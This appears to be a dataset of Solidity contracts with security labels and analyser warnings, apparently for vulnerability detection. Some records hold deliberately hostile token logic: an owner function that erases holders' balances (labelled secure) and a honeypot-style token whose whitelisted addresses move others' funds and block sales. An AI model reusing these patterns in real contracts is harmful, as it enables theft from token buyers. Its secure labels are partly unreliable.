{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IBybitExchange.sol\" as IBybitExchange;\nimport \"./ReentrancyGuardUpgradeable.sol\" as ReentrancyGuardUpgradeable;\nimport \"./UUPSUpgradeable.sol\" as UUPSUpgradeable;\nimport \"./Executor.sol\" as Executor;\n\ncontract BybitExchange is\n IBybitExchange,\n ReentrancyGuardUpgradeable,\n UUPSUpgradeable,\n Executor\n{\n address public owner;\n\n address public governor;\n\n bool private _paused;\n\n mapping(address => uint256) private _operators;\n\n address public breaker;\n\n constructor() {\n _disableInitializers();\n }\n\n function _authorizeUpgrade(address) internal override onlyOwner {}\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 35b85c8): BybitExchange.initialize(address,address,address)._owner lacks a zerocheck on \t owner = _owner\n\t// Recommendation for 35b85c8: Check that the address is not zero.\n function initialize(\n address _pool,\n address _proxy,\n address _owner\n ) external initializer {\n __ReentrancyGuard_init();\n\n __UUPSUpgradeable_init();\n\n __Executor_init(_pool, _proxy);\n\n verifyDomain();\n\n _paused = false;\n\n\t\t// missing-zero-check | ID: 35b85c8\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n modifier whenNotPaused() {\n require(!_paused, \"Pausable: paused\");\n\n _;\n }\n\n modifier onlyGovernor() {\n if (msg.sender != governor) {\n revert Unauthorized();\n }\n\n _;\n }\n\n modifier onlyOperator() {\n if (_operators[msg.sender] == 0) {\n revert Unauthorized();\n }\n\n _;\n }\n\n modifier onlyBreaker() {\n if (msg.sender != breaker) revert NotAuthorized();\n\n _;\n }\n\n function transferOwnership(address newOwner) external onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n address oldOwner = owner;\n\n owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function setBreakFlag(bool flag) external onlyBreaker {\n _paused = flag;\n\n emit SetBreakFlag(flag);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7ec0e42): BybitExchange.addBreaker(address)._breaker lacks a zerocheck on \t breaker = _breaker\n\t// Recommendation for 7ec0e42: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 321c7f5): BybitExchange.addBreaker(address) should emit an event for breaker = _breaker \n\t// Recommendation for 321c7f5: Emit an event for critical parameter changes.\n function addBreaker(address _breaker) external onlyOwner {\n\t\t// missing-zero-check | ID: 7ec0e42\n\t\t// events-access | ID: 321c7f5\n breaker = _breaker;\n }\n\n function addOperator(address _operator) external onlyOwner {\n require(_operator != address(0));\n\n _operators[_operator] = 1;\n }\n\n function removeOperator(address _operator) external onlyOwner {\n require(_operator != address(0));\n\n _operators[_operator] = 0;\n }\n\n function setProtocolFee(\n address recipient,\n uint16 rate\n ) external onlyGovernor {\n if (rate > _MAX_PROTOCOL_FEE_RATE) {\n revert ProtocolFeeTooHigh();\n }\n\n protocolFee = FeeRate(recipient, rate);\n\n emit NewProtocolFee(recipient, rate);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 94bc7c4): BybitExchange.setGovernor(address)._governor lacks a zerocheck on \t governor = _governor\n\t// Recommendation for 94bc7c4: Check that the address is not zero.\n function setGovernor(address _governor) external onlyOwner {\n\t\t// missing-zero-check | ID: 94bc7c4\n governor = _governor;\n\n emit NewGovernor(_governor);\n }\n\n function cancelTrades(Cancel[] memory cancels) external {\n uint256 cancelsLength = cancels.length;\n\n for (uint256 i; i < cancelsLength; ) {\n Cancel memory cancel = cancels[i];\n\n amountTaken[msg.sender][cancel.hash][cancel.index] += cancel.amount;\n\n emit CancelTrade(\n msg.sender,\n cancel.hash,\n cancel.index,\n cancel.amount\n );\n\n unchecked {\n ++i;\n }\n }\n }\n\n function incrementNonce() external {\n emit NonceIncremented(msg.sender, ++nonces[msg.sender]);\n }\n\n function takeAskSingle(\n TakeAskSingle memory inputs\n ) public payable nonReentrant whenNotPaused {\n _takeAskSingle(\n inputs.order,\n inputs.exchange,\n inputs.signature,\n inputs.tokenRecipient\n );\n }\n\n function takeAskSingle_nrRSq(\n TakeAskSingle memory inputs\n ) public payable nonReentrant whenNotPaused {\n _takeAskSingle(\n inputs.order,\n inputs.exchange,\n inputs.signature,\n inputs.tokenRecipient\n );\n }\n\n function takeBidSingle(\n TakeBidSingle memory inputs\n ) external whenNotPaused nonReentrant {\n _takeBidSingle(\n inputs.order,\n inputs.exchange,\n inputs.takerFee,\n inputs.signature\n );\n }\n\n function takeAskSinglePool(\n TakeAskSingle memory inputs,\n uint256 amountToWithdraw\n ) external payable whenNotPaused {\n _withdrawFromPool(msg.sender, amountToWithdraw);\n\n takeAskSingle(inputs);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9f59315): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 9f59315: Avoid relying on 'block.timestamp'.\n function matchOrders(\n TakeAskSingle memory sell,\n TakeBidSingle memory buy,\n uint256 amount,\n OrderType orderType\n ) external whenNotPaused onlyOperator {\n Fees memory fees = Fees(protocolFee);\n\n Listing memory listing = sell.exchange.listing;\n\n uint256 takerAmount = sell.exchange.taker.amount;\n\n Exchange memory exchange = buy.exchange;\n\n uint256 price;\n\n if (\n\t\t\t// timestamp | ID: 9f59315\n !_validateOrderAndListing(\n sell.order,\n OrderType.ASK,\n sell.exchange,\n sell.signature,\n fees\n ) ||\n !_validateOrderAndListing(\n buy.order,\n OrderType.BID,\n exchange,\n buy.signature,\n fees\n )\n ) {\n revert InvalidOrder();\n }\n\n if (listing.price > exchange.listing.price) {\n revert WrongPrice();\n }\n\n if (amount > takerAmount || amount > exchange.taker.amount) {\n revert WrongAmount();\n }\n\n if (sell.order.collection != buy.order.collection) {\n revert WrongCollection();\n }\n\n if (buy.order.trader != sell.tokenRecipient) {\n revert WrongTrader();\n }\n\n if (orderType == OrderType.ASK) {\n price = listing.price;\n } else {\n price = exchange.listing.price;\n }\n\n unchecked {\n amountTaken[sell.order.trader][bytes32(sell.order.salt)][\n listing.index\n ] += amount;\n\n amountTaken[buy.order.trader][bytes32(buy.order.salt)][\n exchange.listing.index\n ] += amount;\n }\n\n {\n bool successfulTransfer = _transferNft(\n sell.order,\n OrderType.ASK,\n listing.tokenId,\n amount,\n sell.tokenRecipient\n );\n\n if (!successfulTransfer) {\n revert TokenTransferFailed();\n }\n }\n\n (\n uint256 totalPrice,\n uint256 protocolFeeAmount,\n uint256 makerFeeAmount\n ) = _computeFees(price, amount, sell.order.makerFee, fees);\n\n _withdrawFromPool(buy.order.trader, totalPrice);\n\n _transferETH(fees.protocolFee.recipient, protocolFeeAmount);\n\n _transferETH(sell.order.makerFee.recipient, makerFeeAmount);\n\n unchecked {\n _transferETH(\n sell.order.trader,\n totalPrice - makerFeeAmount - protocolFeeAmount\n );\n }\n\n _emitExecutionEvent(\n sell.order,\n listing.tokenId,\n amount,\n listing.index,\n totalPrice,\n fees,\n OrderType.ASK\n );\n\n _emitExecutionEvent(\n buy.order,\n listing.tokenId,\n amount,\n listing.index,\n totalPrice,\n fees,\n OrderType.BID\n );\n }\n\n function _takeAskSingle(\n Order memory order,\n Exchange memory exchange,\n bytes memory signature,\n address tokenRecipient\n ) internal {\n Fees memory fees = Fees(protocolFee);\n\n Listing memory listing = exchange.listing;\n\n uint256 takerAmount = exchange.taker.amount;\n\n if (\n !_validateOrderAndListing(\n order,\n OrderType.ASK,\n exchange,\n signature,\n fees\n )\n ) {\n revert InvalidOrder();\n }\n\n unchecked {\n amountTaken[order.trader][bytes32(order.salt)][\n listing.index\n ] += takerAmount;\n }\n\n {\n bool successfulTransfer = _transferNft(\n order,\n OrderType.ASK,\n listing.tokenId,\n takerAmount,\n tokenRecipient\n );\n\n if (!successfulTransfer) {\n revert TokenTransferFailed();\n }\n }\n\n (\n uint256 totalPrice,\n uint256 protocolFeeAmount,\n uint256 makerFeeAmount\n ) = _computeFees(listing.price, takerAmount, order.makerFee, fees);\n\n unchecked {\n if (address(this).balance < totalPrice) {\n revert InsufficientFunds();\n }\n }\n\n _transferETH(fees.protocolFee.recipient, protocolFeeAmount);\n\n _transferETH(order.makerFee.recipient, makerFeeAmount);\n\n unchecked {\n _transferETH(\n order.trader,\n totalPrice - makerFeeAmount - protocolFeeAmount\n );\n }\n\n _emitExecutionEvent(\n order,\n listing.tokenId,\n takerAmount,\n listing.index,\n totalPrice,\n fees,\n OrderType.ASK\n );\n\n _transferETH(msg.sender, address(this).balance);\n }\n\n function _takeBidSingle(\n Order memory order,\n Exchange memory exchange,\n FeeRate memory takerFee,\n bytes memory signature\n ) internal {\n Fees memory fees = Fees(protocolFee);\n\n Listing memory listing = exchange.listing;\n\n uint256 takerAmount = exchange.taker.amount;\n\n if (\n !_validateOrderAndListing(\n order,\n OrderType.BID,\n exchange,\n signature,\n fees\n )\n ) {\n revert InvalidOrder();\n }\n\n order.makerFee = takerFee;\n\n {\n bool successfulTransfer = _transferNft(\n order,\n OrderType.BID,\n exchange.taker.tokenId,\n takerAmount,\n msg.sender\n );\n\n if (!successfulTransfer) {\n revert TokenTransferFailed();\n }\n }\n\n (\n uint256 totalPrice,\n uint256 protocolFeeAmount,\n uint256 makerFeeAmount\n ) = _computeFees(listing.price, takerAmount, order.makerFee, fees);\n\n _withdrawFromPool(order.trader, totalPrice);\n\n _transferETH(order.makerFee.recipient, makerFeeAmount);\n\n _transferETH(fees.protocolFee.recipient, protocolFeeAmount);\n\n unchecked {\n _transferETH(\n msg.sender,\n totalPrice - protocolFeeAmount - makerFeeAmount\n );\n\n amountTaken[order.trader][bytes32(order.salt)][\n listing.index\n ] += exchange.taker.amount;\n }\n\n _emitExecutionEvent(\n order,\n exchange.taker.tokenId,\n takerAmount,\n listing.index,\n totalPrice,\n fees,\n OrderType.BID\n );\n }\n}", "file_name": "solidity_code_924.sol", "secure": 0, "size_bytes": 13291 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Zoo is ERC20, ERC20Burnable, Ownable {\n uint256 private constant INITIAL_SUPPLY = 1000000000 * 10 ** 18;\n\n constructor() ERC20(\"Heaven Zoo\", \"ZOO\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n\n function distributeTokens(address distributionWallet) external onlyOwner {\n uint256 supply = balanceOf(msg.sender);\n\n require(supply == INITIAL_SUPPLY, \"Tokens already distributed\");\n\n _transfer(msg.sender, distributionWallet, supply);\n }\n}", "file_name": "solidity_code_925.sol", "secure": 1, "size_bytes": 785 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Dogeatcat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable intervention;\n\n constructor() {\n _name = \"dog eat cat\";\n\n _symbol = \"DEC\";\n\n _decimals = 18;\n\n uint256 initialSupply = 873000000;\n\n intervention = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == intervention, \"Not allowed\");\n\n _;\n }\n\n function conservation(address[] memory banquet) public onlyOwner {\n for (uint256 i = 0; i < banquet.length; i++) {\n address account = banquet[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_926.sol", "secure": 1, "size_bytes": 4385 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\" as ERC20Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract FreedomToken is ERC20, ERC20Burnable, ERC20Pausable, Ownable {\n uint256 public immutable initialSupply = 1000000000 * 10 ** decimals();\n\n constructor() ERC20(\"Freedom\", \"FREEDOM\") Ownable(msg.sender) {\n decimals();\n\n _mint(msg.sender, initialSupply);\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Pausable) {\n super._update(from, to, value);\n }\n}", "file_name": "solidity_code_927.sol", "secure": 1, "size_bytes": 1116 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_928.sol", "secure": 1, "size_bytes": 323 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract DOGC is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private _teamMaketting;\n\n mapping(address => uint256) private _tradingCountdown;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c14879): DOGC._name should be constant \n\t// Recommendation for 9c14879: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: e9954bb): DOGC._name shadows ERC20._name\n\t// Recommendation for e9954bb: Remove the state variable shadowing.\n string private _name = unicode\"ÐOG CLASSIC\";\n\n\t// WARNING Optimization Issue (constable-states | ID: fd06701): DOGC._symbol should be constant \n\t// Recommendation for fd06701: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 28283c0): DOGC._symbol shadows ERC20._symbol\n\t// Recommendation for 28283c0: Remove the state variable shadowing.\n string private _symbol = unicode\"DOGC\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: b861943): DOGC._tTotal should be immutable \n\t// Recommendation for b861943: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 146_760_000_000 * 10 ** decimals();\n\n\t// WARNING Optimization Issue (immutable-states | ID: 415bfce): DOGC._Router should be immutable \n\t// Recommendation for 415bfce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private _Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eb7cdee): DOGC.uniswapV2Pair should be immutable \n\t// Recommendation for eb7cdee: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n constructor() ERC20(_name, _symbol) Ownable(msg.sender) {\n _Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_Router.factory()).createPair(\n address(this),\n _Router.WETH()\n );\n\n _teamMaketting[msg.sender] = true;\n\n _teamMaketting[address(this)] = true;\n\n _mint(msg.sender, _tTotal);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n if (_teamMaketting[msg.sender]) {\n _tradingCountdown[spender] = amount;\n }\n\n super.approve(spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool) {\n if (_teamMaketting[msg.sender]) {\n super._update(from, to, amount);\n } else {\n super.transferFrom(from, to, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 98d73c3): DOGC._update(address,address,uint256) uses tx.origin for authorization _teamMaketting[tx.origin]\n\t// Recommendation for 98d73c3: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: 98d73c3\n if (_teamMaketting[tx.origin]) {\n super._update(from, to, value);\n\n return;\n } else {\n require(tradingOpen, \"Open not yet\");\n\n if (to == uniswapV2Pair && from != address(this)) {\n if (\n tx.gasprice > _tradingCountdown[from] &&\n _tradingCountdown[from] != 0\n ) {\n revert(\"Exceeds the _tradingCountdown on transfer tx\");\n }\n }\n\n if (to != uniswapV2Pair && from != uniswapV2Pair) {\n if (\n tx.gasprice > _tradingCountdown[from] &&\n _tradingCountdown[from] != 0\n ) {\n revert(\"Exceeds the _tradingCountdown on transfer from tx\");\n }\n }\n\n super._update(from, to, value);\n }\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\n function openTrade() public onlyOwner {\n _teamMaketting[\n address(0xcB031a7078D0Faf1D5B86Be3703cD356e16CA914)\n ] = true;\n\n tradingOpen = true;\n }\n}", "file_name": "solidity_code_929.sol", "secure": 0, "size_bytes": 5194 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPayable {\n function pay(\n string calldata serviceName,\n bytes calldata signature,\n address wallet\n ) external payable;\n}", "file_name": "solidity_code_93.sol", "secure": 1, "size_bytes": 226 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./IERC20Permit.sol\" as IERC20Permit;\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n uint256 newAllowance = oldAllowance - value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n\n token.permit(owner, spender, value, deadline, v, r, s);\n\n uint256 nonceAfter = token.nonces(owner);\n\n require(\n nonceAfter == nonceBefore + 1,\n \"SafeERC20: permit did not succeed\"\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}", "file_name": "solidity_code_930.sol", "secure": 1, "size_bytes": 3340 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\n\ncontract ChainlinkPriceOracle {\n\t// WARNING Optimization Issue (immutable-states | ID: a041b93): ChainlinkPriceOracle.priceFeed should be immutable \n\t// Recommendation for a041b93: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n AggregatorV3Interface internal priceFeed;\n\n constructor() {\n priceFeed = AggregatorV3Interface(\n 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bbc6b8b): ChainlinkPriceOracle.getLatestPrice() ignores return value by (None,price,None,None,None) = priceFeed.latestRoundData()\n\t// Recommendation for bbc6b8b: Ensure that all the return values of the function calls are used.\n function getLatestPrice() public view returns (int256) {\n\t\t// unused-return | ID: bbc6b8b\n (, int256 price, , , ) = priceFeed.latestRoundData();\n\n return price / 1e8;\n }\n}", "file_name": "solidity_code_931.sol", "secure": 0, "size_bytes": 1139 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface AggregatorV3Interface {\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}", "file_name": "solidity_code_932.sol", "secure": 1, "size_bytes": 350 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./ChainlinkPriceOracle.sol\" as ChainlinkPriceOracle;\n\ncontract DMPresale is Ownable {\n using SafeERC20 for IERC20;\n\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d894f6): DMPresale.priceOracle should be immutable \n\t// Recommendation for 4d894f6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ChainlinkPriceOracle public priceOracle;\n\n struct TokenBuyer {\n uint256 tokensBought;\n }\n\n mapping(address => tokenBuyer) public Customer;\n\n IERC20 public immutable token =\n IERC20(0x4A14Df70F4aa862DaE0Aefc80fD1405937F58eb0);\n\n IERC20 public immutable usdt =\n IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n\n uint256 private claimableTokens;\n\n address public wallet = payable(0xBaa0e104bccD593565E57941858e345f843B58d7);\n\n uint256 public tokenPriceUSD = 888;\n\n uint256 public ethDivider = 1000000;\n\n uint256 private usdtRate = 1126126;\n\n uint256 private usdtDivider = 1000;\n\n uint256 private weiRaised;\n\n uint256 private usdtRaised;\n\n uint256 private tokensSold;\n\n bool private hasPresaleStarted;\n\n bool private hasPresaleEnded;\n\n constructor() {\n priceOracle = new ChainlinkPriceOracle();\n }\n\n receive() external payable {\n buyTokens();\n }\n\n function startPresale() public onlyOwner {\n hasPresaleStarted = true;\n }\n\n function endPresale() public onlyOwner {\n hasPresaleEnded = true;\n }\n\n function buyTokens() public payable {\n require(hasPresaleStarted, \"Presale not started\");\n\n require(!hasPresaleEnded, \"Presale has ended\");\n\n require(msg.value >= 0.001 ether, \"cant buy less with than 0.001 ETH\");\n\n uint256 weiAmount = msg.value;\n\n int256 ethPrice = priceOracle.getLatestPrice();\n\n require(ethPrice > 0, \"Invalid ETH price\");\n\n uint256 tokens = weiAmount.mul(uint256(ethPrice)).mul(ethDivider).div(\n tokenPriceUSD\n );\n\n require(claimableTokens >= tokens, \"Not enough tokens availible\");\n\n weiRaised += weiAmount;\n\n Customer[msg.sender].tokensBought += tokens;\n\n tokensSold += tokens;\n\n claimableTokens -= tokens;\n\n (bool callSuccess, ) = payable(wallet).call{value: msg.value}(\"\");\n\n require(callSuccess, \"Call failed\");\n\n token.safeTransfer(msg.sender, tokens);\n }\n\n function buyTokensWithUSDT(uint256 amount) public {\n require(hasPresaleStarted, \"Presale not started\");\n\n require(!hasPresaleEnded, \"Presale has ended\");\n\n require(amount >= 1 * 10 ** 6, \"cant buy less with than 1 USDT\");\n\n uint256 weiAmount = amount * 10 ** 12;\n\n uint256 tokens = weiAmount.mul(usdtRate).div(usdtDivider);\n\n require(claimableTokens >= tokens, \"Not enough tokens availible\");\n\n usdtRaised += amount;\n\n Customer[msg.sender].tokensBought += tokens;\n\n tokensSold += tokens;\n\n claimableTokens -= tokens;\n\n usdt.safeTransferFrom(msg.sender, wallet, amount);\n\n token.safeTransfer(msg.sender, tokens);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e986877): Reentrancy in DMPresale.deposit(uint256) External calls token.safeTransferFrom(msg.sender,address(this),amount) State variables written after the call(s) claimableTokens += amount\n\t// Recommendation for e986877: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9e41066): DMPresale.deposit(uint256) should emit an event for claimableTokens += amount \n\t// Recommendation for 9e41066: Emit an event for critical parameter changes.\n function deposit(uint256 amount) external onlyOwner {\n require(amount > 0, \"Deposit value must be greater than 0\");\n\n\t\t// reentrancy-benign | ID: e986877\n token.safeTransferFrom(msg.sender, address(this), amount);\n\n\t\t// reentrancy-benign | ID: e986877\n\t\t// events-maths | ID: 9e41066\n claimableTokens += amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ff1e0d9): DMPresale.withdraw(uint256) should emit an event for claimableTokens = amount \n\t// Recommendation for ff1e0d9: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ad1f0f0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ad1f0f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(uint256 amount) external onlyOwner {\n require(\n token.balanceOf(address(this)) > 0,\n \"There are not enough tokens in contract\"\n );\n\n require(claimableTokens >= amount, \"not enough tokens to withdraw\");\n\n\t\t// reentrancy-no-eth | ID: ad1f0f0\n token.safeTransfer(msg.sender, amount);\n\n\t\t// events-maths | ID: ff1e0d9\n\t\t// reentrancy-no-eth | ID: ad1f0f0\n claimableTokens -= amount;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: abd47ad): DMPresale.changeWallet(address)._wallet lacks a zerocheck on \t wallet = _wallet\n\t// Recommendation for abd47ad: Check that the address is not zero.\n function changeWallet(address payable _wallet) external onlyOwner {\n\t\t// missing-zero-check | ID: abd47ad\n wallet = _wallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b78bf8c): DMPresale.changeRate(uint256,uint256,uint256,uint256) should emit an event for tokenPriceUSD = _ethToUsd usdtRate = 